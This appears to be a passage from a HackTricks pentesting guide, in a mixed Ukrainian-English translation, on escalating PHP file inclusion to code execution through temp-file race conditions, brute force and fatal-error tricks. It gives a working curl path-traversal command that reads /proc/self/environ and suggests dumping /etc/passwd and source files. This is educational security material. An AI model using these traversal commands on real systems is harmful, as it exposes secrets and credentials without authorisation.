Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Якщо ви знайшли Local File Inclusion і ви can exfiltrate the path тимчасового файлу, АЛЕ server перевіряє, чи file to be included has PHP marks, ви можете спробувати bypass that check за допомогою цієї Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб upload temporary files і змусити server hang виконання PHP, ви зможете потім brute force filenames during hours, щоб знайти тимчасовий файл:
To Fatal Error
Якщо ви include будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Потрібно include той самий файл 2 рази, щоб викликати цю помилку).
Я не знаю, наскільки це корисно, але може бути.
Навіть якщо ви викликаєте PHP Fatal Error, PHP temporary files uploaded видаляються.
.png)
Preserve traversal sequences from the client
Деякі HTTP-клієнти нормалізують або згортають ../ до того, як запит досягає server, що ламає directory traversal payloads. Використовуйте curl --path-as-is, щоб зберегти traversal без змін при зловживанні log/download endpoints, які конкатенують user-controlled filename, і додайте --ignore-content-length для псевдо-файлів типу /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Налаштуйте кількість сегментів ../ доти, поки не вийдете за межі очікуваного каталогу, а потім виведіть /etc/passwd, /proc/self/cwd/app.py або інші файли з вихідним кодом/конфігурацією.
Посилання
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


